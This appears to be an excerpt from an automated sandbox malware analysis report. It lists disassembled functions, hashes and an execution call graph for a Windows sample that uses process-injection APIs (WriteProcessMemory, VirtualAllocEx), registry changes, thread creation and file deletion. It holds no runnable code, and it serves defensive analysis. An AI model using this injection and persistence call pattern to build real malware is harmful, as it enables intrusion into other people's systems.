                                            • Snapshot File: hcaresult_10_2_7fe89b60000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: 6D$3s$3s$3s
                                            • API String ID: 0-3896007446
                                            • Opcode ID: 2507cf51f4920514f359f85142e6a6d8bf72ea29a3038732b3a67b448ad672f9
                                            • Instruction ID: 9eec5f2ee6ded4b20bcb793e24ded1d0cb2f4503764b305d61abaa131bed39cb
                                            • Opcode Fuzzy Hash: 2507cf51f4920514f359f85142e6a6d8bf72ea29a3038732b3a67b448ad672f9
                                            • Instruction Fuzzy Hash: D192D43190DBC94FD753EB2888556A8BFF0EF57300F1905EBD48ACB1A3D628685AC791
                                            Function 000007FE89A88495 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 217injectionCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 885 7fe89a88495-7fe89aa040d 894 7fe89aa0410-7fe89aa0459 call 7fe89a834f0 885->894 900 7fe89aa045b-7fe89aa04da 894->900 903 7fe89aa04dc-7fe89aa04e1 900->903 904 7fe89aa04e4-7fe89aa0529 WriteProcessMemory 900->904 903->904 905 7fe89aa052b 904->905 906 7fe89aa0531-7fe89aa055b 904->906 905->906
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: MemoryProcessWrite
                                            • String ID: 6D$r6D
                                            • API String ID: 3559483778-2270534201
                                            • Opcode ID: 27640ef35b139b21050ed4dfaae195e717014bf680063e281e872da5317a4732
                                            • Instruction ID: e284f2c3653aa1bcb3911dd4f65118e688777013649d1508893d405be5f99f3d
                                            • Opcode Fuzzy Hash: 27640ef35b139b21050ed4dfaae195e717014bf680063e281e872da5317a4732
                                            • Instruction Fuzzy Hash: C251F530A0CB884FE715EB6CA8457F97BE1EB96311F0441BFE049D72A3DA24A805C391
                                            Function 000007FE89A884E5 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 376memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1874 7fe89a884e5-7fe89a9fc97 call 7fe89a834f0 1887 7fe89a9fc99-7fe89a9fca4 1874->1887 1888 7fe89a9fcab-7fe89a9fce9 1874->1888 1887->1888 1889 7fe89a9fceb-7fe89a9fd16 1888->1889 1890 7fe89a9fd33-7fe89a9fd5c call 7fe89a8b040 1888->1890 1891 7fe89a9fd1c-7fe89a9fd2f 1889->1891 1892 7fe89a9fdf4-7fe89a9fdfa 1889->1892 1899 7fe89a9fd97-7fe89a9fda3 1890->1899 1900 7fe89a9fd5e-7fe89a9fd95 1890->1900 1891->1890 1896 7fe89a9fdfc-7fe89a9fe28 1892->1896 1898 7fe89a9fe29-7fe89a9fe2c 1896->1898 1901 7fe89a9fe2d-7fe89a9fe40 1898->1901 1899->1896 1902 7fe89a9fda5-7fe89a9fda8 1899->1902 1910 7fe89a9fdc8-7fe89a9fdd0 1900->1910 1904 7fe89a9fe41-7fe89a9fe43 1901->1904 1902->1898 1905 7fe89a9fdaa-7fe89a9fdbc 1902->1905 1906 7fe89a9fe44-7fe89a9fe57 1904->1906 1905->1901 1907 7fe89a9fdbe-7fe89a9fdc3 1905->1907 1912 7fe89a9fe58-7fe89a9fec4 VirtualAllocEx 1906->1912 1907->1906 1909 7fe89a9fdc5-7fe89a9fdc6 1907->1909 1909->1910 1910->1904 1913 7fe89a9fdd2-7fe89a9fdd7 1910->1913 1917 7fe89a9fec6 1912->1917 1918 7fe89a9fecc-7fe89a9fee9 1912->1918 1913->1912 1914 7fe89a9fdd9-7fe89a9fdf3 call 7fe89a874b0 1913->1914 1917->1918
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: AllocVirtual
                                            • String ID: 6D
                                            • API String ID: 4275171209-1585310290
                                            • Opcode ID: c46807cc5c700cd237673c16b7c808ef02d63e668f2ff88c84c6ce8cd4f7889e
                                            • Instruction ID: 70839c02dd554b2d0765a6847713c5a22d29ddbb68cabc99f0bdda521fb93867
                                            • Opcode Fuzzy Hash: c46807cc5c700cd237673c16b7c808ef02d63e668f2ff88c84c6ce8cd4f7889e
                                            • Instruction Fuzzy Hash: 3BB11B30A1C7894FE719E72C98466F9BBE1FB95315F1401BED08EC32A3E924AC56C391
                                            Function 000007FE89A807C5 Relevance: 1.7, APIs: 1, Instructions: 195libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: 2c693eec8737ac804e3e7c41a6e7a9ef8224e6aeef99db2280bd98f9ccd29297
                                            • Instruction ID: 1877dfc1adb6bedde6d0f1661a0bd305152b8b68d9f3e93daa30defaaad2a7f1
                                            • Opcode Fuzzy Hash: 2c693eec8737ac804e3e7c41a6e7a9ef8224e6aeef99db2280bd98f9ccd29297
                                            • Instruction Fuzzy Hash: AF51CA30908A8D8FEB58EF28D8467F937E1FB59351F00416EE85DD72A2DB74A845CB81
                                            Function 000007FE89A807D0 Relevance: 1.7, APIs: 1, Instructions: 193libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: bc1e44fbdbcdb0fe00cac652f0d3525d59ec98c5a9f268fa32529dbf2d0811bd
                                            • Instruction ID: 8fc427beafc5c7185f6ffe25c9f3cc1841c5340f748b40bd46750ed7de619c90
                                            • Opcode Fuzzy Hash: bc1e44fbdbcdb0fe00cac652f0d3525d59ec98c5a9f268fa32529dbf2d0811bd
                                            • Instruction Fuzzy Hash: C251A530908A4D8FEB58EF28C8467F937E1FB59351F10416EE85ED32A2DB74A841CB81
                                            Function 000007FE89A82E69 Relevance: 1.7, APIs: 1, Instructions: 191libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: bd4797f4632ca9574553f7adbd09c8ee4f4a502f20075bcf2fd1bad4d946af9a
                                            • Instruction ID: 64d4f26ec9709d42164e62fd8d2a00c04884ca39fe23cab24ccdcb9cdb80655c
                                            • Opcode Fuzzy Hash: bd4797f4632ca9574553f7adbd09c8ee4f4a502f20075bcf2fd1bad4d946af9a
                                            • Instruction Fuzzy Hash: 5951B530908A4D8FEB58EF18D8467F937E1FB59351F00426EE85DD32A2DB74A945CB81
                                            Function 000007FE89A8331A Relevance: 1.6, APIs: 1, Instructions: 136memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: feb5ba3d9f5cd37f9331a1336f792fb2b0a896f66e6d2c5836e4ba7d929c98eb
                                            • Instruction ID: 93c342ac7f0799767cfaca6d2108262bf0702acff46e3937c1fcc153ce376d11
                                            • Opcode Fuzzy Hash: feb5ba3d9f5cd37f9331a1336f792fb2b0a896f66e6d2c5836e4ba7d929c98eb
                                            • Instruction Fuzzy Hash: A7413B3090C7884FDB09DBA8984A6F97FF0EB56321F0402AFD049D31A2CB647846C791
                                            Function 000007FE89A896DD Relevance: 1.6, APIs: 1, Instructions: 121memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 650fdf7ecea99d6c83807e0548af236f48522a9c3639f617eaf3b10f430b65c9
                                            • Instruction ID: 5dfde3d7890a23a0228b6fa2bb0c50db0d9472831a0333469769b6c108ecef1a
                                            • Opcode Fuzzy Hash: 650fdf7ecea99d6c83807e0548af236f48522a9c3639f617eaf3b10f430b65c9
                                            • Instruction Fuzzy Hash: 1C310831A1CA5C4FDB08DB5CD8496FDBBE1FBA5311F00426FD049D3292CB206846CBA1
                                            Function 000007FE89A81CA8 Relevance: 1.6, APIs: 1, Instructions: 114memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 4407b6adaf7747c1877cb94d8d5364961340204604e9f64ed54fe0e8a61d20bd
                                            • Instruction ID: 40e398cdbb99b31ba47ac2cd945f4e2e5544e1d17a15baf638027541bd38f107
                                            • Opcode Fuzzy Hash: 4407b6adaf7747c1877cb94d8d5364961340204604e9f64ed54fe0e8a61d20bd
                                            • Instruction Fuzzy Hash: 2E31D531A0CA5C8FDB08EB9D98496F97BE1FBA9711F10422FD04AD3252DB6068468B91
                                            Function 000007FE89A80921 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: ConsoleFree
                                            • String ID:
                                            • API String ID: 771614528-0
                                            • Opcode ID: 2c1b8656d3c121a878a24a5175847216f08b3c487aaee79d0314b5c47fce85a3
                                            • Instruction ID: cf08637ddb0ba7a4b682c79666b8ac2a317ac4e515a8336f260956851208ea9d
                                            • Opcode Fuzzy Hash: 2c1b8656d3c121a878a24a5175847216f08b3c487aaee79d0314b5c47fce85a3
                                            • Instruction Fuzzy Hash: 6C31933190C7488FDB55DF98D849BE9BBF0EB56320F0441AFD089D3562D768A84ACB51
                                            Function 000007FE89A80490 Relevance: 1.6, APIs: 1, Instructions: 92COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461332429.000007FE89A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A80000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89a80000_igccu.jbxd
                                            Similarity
                                            • API ID: ConsoleFree
                                            • String ID:
                                            • API String ID: 771614528-0
                                            • Opcode ID: 2e3418a3dbb09ad4f340b5aba4fb8a100d93563df28b2657d6f8c59bd5e8eaa7
                                            • Instruction ID: b023f0424f91b65a955e90923c278facb79fba0402ce62829ab36b3f7032615c
                                            • Opcode Fuzzy Hash: 2e3418a3dbb09ad4f340b5aba4fb8a100d93563df28b2657d6f8c59bd5e8eaa7
                                            • Instruction Fuzzy Hash: 7521A171908A5C8FEB58DF58D849BFABBE0EB65321F00416ED04AD3152D764A806CB51
                                            Function 000007FE89B610C9 Relevance: .2, Instructions: 242COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461516281.000007FE89B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B60000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89b60000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: fd16d38fc74079566fda44af8629eb8b0c7ea0fa8e46213c89af66ecaa5d910f
                                            • Instruction ID: aab2c67e961f38bfc0e000272972225dab0ed6b07a80d54658798e978433bc39
                                            • Opcode Fuzzy Hash: fd16d38fc74079566fda44af8629eb8b0c7ea0fa8e46213c89af66ecaa5d910f
                                            • Instruction Fuzzy Hash: 8571A230A0DBC94FDB57EB3888646A97FF1FF56304B1901EAD48AC71A3DA28B805C755

                                            Non-executed Functions

                                            Function 000007FE89B617C3 Relevance: 5.4, Strings: 4, Instructions: 358COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000A.00000002.461516281.000007FE89B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B60000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_10_2_7fe89b60000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: (QE$(QE$(QE$(QE
                                            • API String ID: 0-927077113
                                            • Opcode ID: d4665d87c142e6b4a53d4e0b9638fc0c9489a6fd6d583b1e2dc25f32df3588d0
                                            • Instruction ID: 680233589a2b5a78a656f51e101afd3c48f5fbc88dd15b8c7f898abc9aec12fa
                                            • Opcode Fuzzy Hash: d4665d87c142e6b4a53d4e0b9638fc0c9489a6fd6d583b1e2dc25f32df3588d0
                                            • Instruction Fuzzy Hash: CEB1E53190DBC94FD713DB3898542A9BFE1EF57600B1905EBD0C9CB1B3D618695AC3A2

                                            Execution Graph

                                            Execution Coverage:4.7%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:3.7%
                                            Total number of Nodes:1581
                                            Total number of Limit Nodes:61
                                            execution_graph 47242 434887 47243 434893 ___DestructExceptionObject 47242->47243 47269 434596 47243->47269 47245 43489a 47247 4348c3 47245->47247 47575 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 47245->47575 47255 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47247->47255 47280 444251 47247->47280 47250 4348e2 ___DestructExceptionObject 47252 434962 47288 434b14 47252->47288 47255->47252 47576 4433e7 36 API calls 3 library calls 47255->47576 47262 434984 47263 43498e 47262->47263 47578 44341f 28 API calls _abort 47262->47578 47265 434997 47263->47265 47579 4433c2 28 API calls _abort 47263->47579 47580 43470d 13 API calls 2 library calls 47265->47580 47268 43499f 47268->47250 47270 43459f 47269->47270 47581 434c52 IsProcessorFeaturePresent 47270->47581 47272 4345ab 47582 438f31 47272->47582 47274 4345b0 47279 4345b4 47274->47279 47591 4440bf 47274->47591 47277 4345cb 47277->47245 47279->47245 47281 444268 47280->47281 47282 434fcb _ValidateLocalCookies 5 API calls 47281->47282 47283 4348dc 47282->47283 47283->47250 47284 4441f5 47283->47284 47287 444224 47284->47287 47285 434fcb _ValidateLocalCookies 5 API calls 47286 44424d 47285->47286 47286->47255 47287->47285 47699 436e90 47288->47699 47291 434968 47292 4441a2 47291->47292 47701 44f059 47292->47701 47294 434971 47297 40e9c5 47294->47297 47295 4441ab 47295->47294 47705 446815 36 API calls 47295->47705 47888 41cb50 LoadLibraryA GetProcAddress 47297->47888 47299 40e9e1 GetModuleFileNameW 47893 40f3c3 47299->47893 47301 40e9fd 47908 4020f6 47301->47908 47304 4020f6 28 API calls 47305 40ea1b 47304->47305 47914 41be1b 47305->47914 47309 40ea2d 47940 401e8d 47309->47940 47311 40ea36 47312 40ea93 47311->47312 47313 40ea49 47311->47313 47946 401e65 47312->47946 48215 40fbb3 118 API calls 47313->48215 47316 40eaa3 47320 401e65 22 API calls 47316->47320 47317 40ea5b 47318 401e65 22 API calls 47317->47318 47319 40ea67 47318->47319 48216 410f37 36 API calls __EH_prolog 47319->48216 47321 40eac2 47320->47321 47951 40531e 47321->47951 47324 40ea79 48217 40fb64 78 API calls 47324->48217 47325 40ead1 47956 406383 47325->47956 47328 40ea82 48218 40f3b0 71 API calls 47328->48218 47335 401fd8 11 API calls 47337 40eefb 47335->47337 47336 401fd8 11 API calls 47338 40eafb 47336->47338 47577 4432f6 GetModuleHandleW 47337->47577 47339 401e65 22 API calls 47338->47339 47340 40eb04 47339->47340 47973 401fc0 47340->47973 47342 40eb0f 47343 401e65 22 API calls 47342->47343 47344 40eb28 47343->47344 47345 401e65 22 API calls 47344->47345 47346 40eb43 47345->47346 47347 40ebae 47346->47347 48219 406c1e 47346->48219 47348 401e65 22 API calls 47347->47348 47354 40ebbb 47348->47354 47350 40eb70 47351 401fe2 28 API calls 47350->47351 47352 40eb7c 47351->47352 47355 401fd8 11 API calls 47352->47355 47353 40ec02 47977 40d069 47353->47977 47354->47353 47360 413549 3 API calls 47354->47360 47356 40eb85 47355->47356 48224 413549 RegOpenKeyExA 47356->48224 47358 40ec08 47359 40ea8b 47358->47359 47980 41b2c3 47358->47980 47359->47335 47366 40ebe6 47360->47366 47364 40ec23 47367 40ec76 47364->47367 47997 407716 47364->47997 47365 40f34f 48307 4139a9 30 API calls 47365->48307 47366->47353 48227 4139a9 30 API calls 47366->48227 47370 401e65 22 API calls 47367->47370 47373 40ec7f 47370->47373 47372 40f365 48308 412475 65 API calls ___scrt_get_show_window_mode 47372->48308 47381 40ec90 47373->47381 47382 40ec8b 47373->47382 47376 40ec42 48228 407738 30 API calls 47376->48228 47377 40ec4c 47379 401e65 22 API calls 47377->47379 47391 40ec55 47379->47391 47380 40f36f 47384 41bc5e 28 API calls 47380->47384 47387 401e65 22 API calls 47381->47387 48231 407755 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 47382->48231 47383 40ec47 48229 407260 98 API calls 47383->48229 47388 40f37f 47384->47388 47389 40ec99 47387->47389 48107 413a23 RegOpenKeyExW 47388->48107 48001 41bc5e 47389->48001 47391->47367 47395 40ec71 47391->47395 47392 40eca4 48005 401f13 47392->48005 48230 407260 98 API calls 47395->48230 47399 401f09 11 API calls 47401 40f39c 47399->47401 47403 401f09 11 API calls 47401->47403 47405 40f3a5 47403->47405 47404 401e65 22 API calls 47407 40ecc1 47404->47407 48110 40dd42 47405->48110 47410 401e65 22 API calls 47407->47410 47412 40ecdb 47410->47412 47411 40f3af 47413 401e65 22 API calls 47412->47413 47414 40ecf5 47413->47414 47415 401e65 22 API calls 47414->47415 47416 40ed0e 47415->47416 47418 401e65 22 API calls 47416->47418 47448 40ed7b 47416->47448 47417 40ed8a 47419 40ed93 47417->47419 47423 40ee0f ___scrt_get_show_window_mode 47417->47423 47422 40ed23 _wcslen 47418->47422 47420 401e65 22 API calls 47419->47420 47421 40ed9c 47420->47421 47424 401e65 22 API calls 47421->47424 47426 401e65 22 API calls 47422->47426 47422->47448 48017 413947 47423->48017 47427 40edae 47424->47427 47425 40ef06 ___scrt_get_show_window_mode 48292 4136f8 RegOpenKeyExA 47425->48292 47429 40ed3e 47426->47429 47430 401e65 22 API calls 47427->47430 47432 401e65 22 API calls 47429->47432 47433 40edc0 47430->47433 47431 40ef51 47436 401e65 22 API calls 47431->47436 47434 40ed53 47432->47434 47435 401e65 22 API calls 47433->47435 48232 40da34 47434->48232 47437 40ede9 47435->47437 47438 40ef76 47436->47438 47442 401e65 22 API calls 47437->47442 48027 402093 47438->48027 47441 401f13 28 API calls 47444 40ed72 47441->47444 47446 40edfa 47442->47446 47445 401f09 11 API calls 47444->47445 47445->47448 48290 40cdf9 45 API calls _wcslen 47446->48290 47447 40ef88 48033 41376f RegCreateKeyA 47447->48033 47448->47417 47448->47425 47452 40eea3 ctype 47457 401e65 22 API calls 47452->47457 47453 40ee0a 47453->47423 47455 401e65 22 API calls 47456 40efaa 47455->47456 48039 43baac 47456->48039 47458 40eeba 47457->47458 47458->47431 47462 40eece 47458->47462 47461 40efc1 48295 41cd9b 87 API calls ___scrt_get_show_window_mode 47461->48295 47464 401e65 22 API calls 47462->47464 47463 40efe4 47468 402093 28 API calls 47463->47468 47466 40eed7 47464->47466 47469 41bc5e 28 API calls 47466->47469 47467 40efc8 CreateThread 47467->47463 49118 41d45d 10 API calls 47467->49118 47470 40eff9 47468->47470 47471 40eee3 47469->47471 47473 402093 28 API calls 47470->47473 48291 40f474 104 API calls 47471->48291 47474 40f008 47473->47474 48043 41b4ef 47474->48043 47475 40eee8 47475->47431 47477 40eeef 47475->47477 47477->47359 47479 401e65 22 API calls 47480 40f019 47479->47480 47481 401e65 22 API calls 47480->47481 47482 40f02b 47481->47482 47483 401e65 22 API calls 47482->47483 47484 40f04b 47483->47484 47485 43baac _strftime 40 API calls 47484->47485 47486 40f058 47485->47486 47487 401e65 22 API calls 47486->47487 47488 40f063 47487->47488 47489 401e65 22 API calls 47488->47489 47490 40f074 47489->47490 47491 401e65 22 API calls 47490->47491 47492 40f089 47491->47492 47493 401e65 22 API calls 47492->47493 47494 40f09a 47493->47494 47495 40f0a1 StrToIntA 47494->47495 48067 409de4 47495->48067 47498 401e65 22 API calls 47499 40f0bc 47498->47499 47500 40f101 47499->47500 47501 40f0c8 47499->47501 47503 401e65 22 API calls 47500->47503 48296 4344ea 47501->48296 47505 40f111 47503->47505 47508 40f159 47505->47508 47509 40f11d 47505->47509 47506 401e65 22 API calls 47507 40f0e4 47506->47507 47510 40f0eb CreateThread 47507->47510 47512 401e65 22 API calls 47508->47512 47511 4344ea new 22 API calls 47509->47511 47510->47500 49116 419fb4 103 API calls 2 library calls 47510->49116 47513 40f126 47511->47513 47514 40f162 47512->47514 47515 401e65 22 API calls 47513->47515 47517 40f1cc 47514->47517 47518 40f16e 47514->47518 47516 40f138 47515->47516 47521 40f13f CreateThread 47516->47521 47519 401e65 22 API calls 47517->47519 47520 401e65 22 API calls 47518->47520 47522 40f1d5 47519->47522 47523 40f17e 47520->47523 47521->47508 49115 419fb4 103 API calls 2 library calls 47521->49115 47524 40f1e1 47522->47524 47525 40f21a 47522->47525 47526 401e65 22 API calls 47523->47526 47528 401e65 22 API calls 47524->47528 48092 41b60d 47525->48092 47529 40f193 47526->47529 47531 40f1ea 47528->47531 48303 40d9e8 31 API calls 47529->48303 47536 401e65 22 API calls 47531->47536 47532 401f13 28 API calls 47533 40f22e 47532->47533 47535 401f09 11 API calls 47533->47535 47538 40f237 47535->47538 47539 40f1ff 47536->47539 47537 40f1a6 47540 401f13 28 API calls 47537->47540 47541 40f240 SetProcessDEPPolicy 47538->47541 47542 40f243 CreateThread 47538->47542 47549 43baac _strftime 40 API calls 47539->47549 47543 40f1b2 47540->47543 47541->47542 47544 40f264 47542->47544 47545 40f258 CreateThread 47542->47545 49088 40f7a7 47542->49088 47546 401f09 11 API calls 47543->47546 47547 40f279 47544->47547 47548 40f26d CreateThread 47544->47548 47545->47544 49117 4120f7 138 API calls 47545->49117 47550 40f1bb CreateThread 47546->47550 47552 40f2cc 47547->47552 47554 402093 28 API calls 47547->47554 47548->47547 49119 4126db 38 API calls ___scrt_get_show_window_mode 47548->49119 47551 40f20c 47549->47551 47550->47517 49120 401be9 50 API calls _strftime 47550->49120 48304 40c162 7 API calls 47551->48304 48104 4134ff RegOpenKeyExA 47552->48104 47555 40f29c 47554->47555 48305 4052fd 28 API calls 47555->48305 47561 40f2ed 47562 41bc5e 28 API calls 47561->47562 47564 40f2fd 47562->47564 48306 41361b 31 API calls 47564->48306 47569 40f313 47570 401f09 11 API calls 47569->47570 47573 40f31e 47570->47573 47571 40f346 DeleteFileW 47572 40f34d 47571->47572 47571->47573 47572->47380 47573->47380 47573->47571 47574 40f334 Sleep 47573->47574 47574->47573 47575->47245 47576->47252 47577->47262 47578->47263 47579->47265 47580->47268 47581->47272 47583 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 47582->47583 47595 43a43a 47583->47595 47587 438f4c 47588 438f57 47587->47588 47609 43a476 DeleteCriticalSection 47587->47609 47588->47274 47590 438f44 47590->47274 47637 44fb68 47591->47637 47594 438f5a 8 API calls 3 library calls 47594->47279 47596 43a443 47595->47596 47598 43a46c 47596->47598 47599 438f40 47596->47599 47610 438e7f 47596->47610 47615 43a476 DeleteCriticalSection 47598->47615 47599->47590 47601 43a3ec 47599->47601 47630 438d94 47601->47630 47603 43a3f6 47604 43a401 47603->47604 47635 438e42 6 API calls try_get_function 47603->47635 47604->47587 47606 43a40f 47607 43a41c 47606->47607 47636 43a41f 6 API calls ___vcrt_FlsFree 47606->47636 47607->47587 47609->47590 47616 438c73 47610->47616 47613 438eb6 InitializeCriticalSectionAndSpinCount 47614 438ea2 47613->47614 47614->47596 47615->47599 47617 438ca3 47616->47617 47618 438ca7 47616->47618 47617->47618 47622 438cc7 47617->47622 47623 438d13 47617->47623 47618->47613 47618->47614 47620 438cd3 GetProcAddress 47621 438ce3 __crt_fast_encode_pointer 47620->47621 47621->47618 47622->47618 47622->47620 47624 438d3b LoadLibraryExW 47623->47624 47629 438d30 47623->47629 47625 438d57 GetLastError 47624->47625 47626 438d6f 47624->47626 47625->47626 47627 438d62 LoadLibraryExW 47625->47627 47628 438d86 FreeLibrary 47626->47628 47626->47629 47627->47626 47628->47629 47629->47617 47631 438c73 try_get_function 5 API calls 47630->47631 47632 438dae 47631->47632 47633 438dc6 TlsAlloc 47632->47633 47634 438db7 47632->47634 47634->47603 47635->47606 47636->47604 47640 44fb85 47637->47640 47641 44fb81 47637->47641 47639 4345bd 47639->47277 47639->47594 47640->47641 47643 449ca6 47640->47643 47655 434fcb 47641->47655 47644 449cb2 ___DestructExceptionObject 47643->47644 47662 445888 EnterCriticalSection 47644->47662 47646 449cb9 47663 450183 47646->47663 47648 449cc8 47654 449cd7 47648->47654 47674 449b3a 23 API calls 47648->47674 47651 449cd2 47675 449bf0 GetStdHandle GetFileType 47651->47675 47652 449ce8 ___DestructExceptionObject 47652->47640 47676 449cf3 LeaveCriticalSection std::_Lockit::~_Lockit 47654->47676 47656 434fd6 IsProcessorFeaturePresent 47655->47656 47657 434fd4 47655->47657 47659 435018 47656->47659 47657->47639 47698 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47659->47698 47661 4350fb 47661->47639 47662->47646 47664 45018f ___DestructExceptionObject 47663->47664 47665 4501b3 47664->47665 47666 45019c 47664->47666 47677 445888 EnterCriticalSection 47665->47677 47685 4405dd 20 API calls _free 47666->47685 47669 4501eb 47686 450212 LeaveCriticalSection std::_Lockit::~_Lockit 47669->47686 47670 4501bf 47670->47669 47678 4500d4 47670->47678 47672 4501a1 pre_c_initialization ___DestructExceptionObject 47672->47648 47674->47651 47675->47654 47676->47652 47677->47670 47687 445af3 47678->47687 47680 4500f3 47695 446782 20 API calls _free 47680->47695 47683 450145 47683->47670 47684 4500e6 47684->47680 47694 448a84 11 API calls 2 library calls 47684->47694 47685->47672 47686->47672 47688 445b00 ___crtLCMapStringA 47687->47688 47689 445b40 47688->47689 47690 445b2b RtlAllocateHeap 47688->47690 47696 442f80 7 API calls 2 library calls 47688->47696 47697 4405dd 20 API calls _free 47689->47697 47690->47688 47692 445b3e 47690->47692 47692->47684 47694->47684 47695->47683 47696->47688 47697->47692 47698->47661 47700 434b27 GetStartupInfoW 47699->47700 47700->47291 47702 44f06b 47701->47702 47703 44f062 47701->47703 47702->47295 47706 44ef58 47703->47706 47705->47295 47726 448215 GetLastError 47706->47726 47708 44ef65 47746 44f077 47708->47746 47710 44ef6d 47755 44ecec 47710->47755 47715 44efc7 47780 446782 20 API calls _free 47715->47780 47719 44ef84 47719->47702 47720 44efc2 47779 4405dd 20 API calls _free 47720->47779 47722 44f00b 47722->47715 47782 44ebc2 20 API calls 47722->47782 47723 44efdf 47723->47722 47781 446782 20 API calls _free 47723->47781 47727 448231 47726->47727 47728 44822b 47726->47728 47730 445af3 __Getctype 20 API calls 47727->47730 47732 448280 SetLastError 47727->47732 47783 4487bc 11 API calls 2 library calls 47728->47783 47731 448243 47730->47731 47737 44824b 47731->47737 47785 448812 11 API calls 2 library calls 47731->47785 47732->47708 47735 448260 47735->47737 47738 448267 47735->47738 47736 448251 47740 44828c SetLastError 47736->47740 47784 446782 20 API calls _free 47737->47784 47786 448087 20 API calls pre_c_initialization 47738->47786 47788 4460f4 36 API calls 4 library calls 47740->47788 47741 448272 47787 446782 20 API calls _free 47741->47787 47744 448298 47745 448279 47745->47732 47745->47740 47747 44f083 ___DestructExceptionObject 47746->47747 47748 448215 pre_c_initialization 36 API calls 47747->47748 47753 44f08d 47748->47753 47750 44f111 ___DestructExceptionObject 47750->47710 47753->47750 47789 4460f4 36 API 